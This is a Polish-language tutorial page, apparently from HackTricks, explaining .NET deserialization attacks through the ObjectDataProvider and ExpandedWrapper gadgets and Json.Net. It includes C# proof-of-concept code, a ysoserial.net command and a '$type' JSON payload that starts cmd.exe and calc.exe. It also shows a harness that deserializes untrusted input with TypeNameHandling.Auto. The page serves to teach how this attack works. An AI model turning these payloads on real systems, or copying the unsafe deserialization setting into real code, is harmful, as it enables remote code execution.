10 KiB
Podstawowa deserializacja .Net (gadżet ObjectDataProvider, ExpandedWrapper i Json.Net)
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Czy pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć swoją firmę reklamowaną na HackTricks? lub chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLANY SUBSKRYPCYJNE!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i repozytorium hacktricks-cloud.
Ten post jest poświęcony zrozumieniu, jak wykorzystywany jest gadżet ObjectDataProvider do uzyskania RCE i jak biblioteki serializacji Json.Net i xmlSerializer mogą być wykorzystane z tym gadżetem.
Gadżet ObjectDataProvider
Z dokumentacji: klasa ObjectDataProvider owija i tworzy obiekt, który można użyć jako źródło wiązania.
Tak, to dziwne wyjaśnienie, więc zobaczmy, co ta klasa ma tak interesującego: Ta klasa pozwala na owinięcie dowolnego obiektu, użycie MethodParameters do ustawienia dowolnych parametrów, a następnie użycie MethodName do wywołania dowolnej funkcji dowolnego obiektu zadeklarowanego przy użyciu dowolnych parametrów.
W związku z tym dowolny obiekt będzie wykonywał funkcję z parametrami podczas deserializacji.
Jak to jest możliwe
Przestrzeń nazw System.Windows.Data, znajdująca się w PresentationFramework.dll pod adresem C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, to miejsce, gdzie zdefiniowany i zaimplementowany jest ObjectDataProvider.
Korzystając z dnSpy możesz przejrzeć kod interesującej nas klasy. Na poniższym obrazie widzimy kod PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nazwa metody
Jak widać, gdy ustawiona jest MethodName
, wywoływane jest base.Refresh()
, zobaczmy, co ona robi:
Dobra, kontynuujmy, zobaczmy, co robi this.BeginQuery()
. BeginQuery
jest nadpisane przez ObjectDataProvider
i oto, co robi:
Zauważ, że na końcu kodu jest wywołanie this.QueryWorke(null)
. Sprawdźmy, co to wykonuje:
Zauważ, że to nie jest cały kod funkcji QueryWorker
, ale pokazuje on interesującą część: Kod wywołuje this.InvokeMethodOnInstance(out ex);
to linia, w której wywoływana jest ustawiona metoda.
Jeśli chcesz sprawdzić, czy ustawienie MethodName spowoduje jej wykonanie, możesz uruchomić ten kod:
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Zauważ, że musisz dodać jako odwołanie C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll w celu załadowania System.Windows.Data
ExpandedWrapper
Korzystając z poprzedniego exploitu, mogą wystąpić przypadki, w których obiekt zostanie zdeserializowany jako instancja ObjectDataProvider (na przykład w przypadku luki w DotNetNuke, używając XmlSerializer, obiekt został zdeserializowany za pomocą GetType
). W takim przypadku nie będziemy mieli wiedzy o typie obiektu zawartego w instancji ObjectDataProvider (np. Process
). Więcej informacji na temat luki w DotNetNuke można znaleźć tutaj.
Ta klasa pozwala określić typy obiektów, które są enkapsulowane w danej instancji. Dlatego ta klasa może być używana do enkapsulacji obiektu źródłowego (ObjectDataProvider) w nowy typ obiektu i dostarczenia potrzebnych właściwości (ObjectDataProvider.MethodName i ObjectDataProvider.MethodParameters).
Jest to bardzo przydatne w przypadkach podobnych do przedstawionego wcześniej, ponieważ będziemy mogli opakować ObjectDataProvider w instancję ExpandedWrapper i podczas deserializacji ta klasa utworzy obiekt OjectDataProvider, który wykona funkcję wskazaną w MethodName.
Możesz sprawdzić ten wrapper za pomocą następującego kodu:
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Na oficjalnej stronie internetowej wskazano, że ta biblioteka pozwala na Serializowanie i deserializowanie dowolnego obiektu .NET za pomocą potężnego serializatora JSON Json.NET. Dlatego, jeśli moglibyśmy deserializować gadżet ObjectDataProvider, moglibyśmy spowodować RCE po prostu deserializując obiekt.
Przykład Json.Net
Po pierwsze zobaczmy przykład, jak serializować/deserializować obiekt za pomocą tej biblioteki:
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Nadużywanie Json.Net
Korzystając z ysoserial.net stworzyłem exploit:
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
W tym kodzie możesz przetestować exploit, po prostu go uruchom i zobaczysz, że kalkulator zostanie uruchomiony:
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
- Czy pracujesz w firmie zajmującej się cyberbezpieczeństwem? Chcesz zobaczyć, jak Twoja firma jest reklamowana na HackTricks? lub chcesz mieć dostęp do najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF? Sprawdź PLANY SUBSKRYPCYJNE!
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź mnie na Twitterze 🐦@carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do repozytorium hacktricks i repozytorium hacktricks-cloud.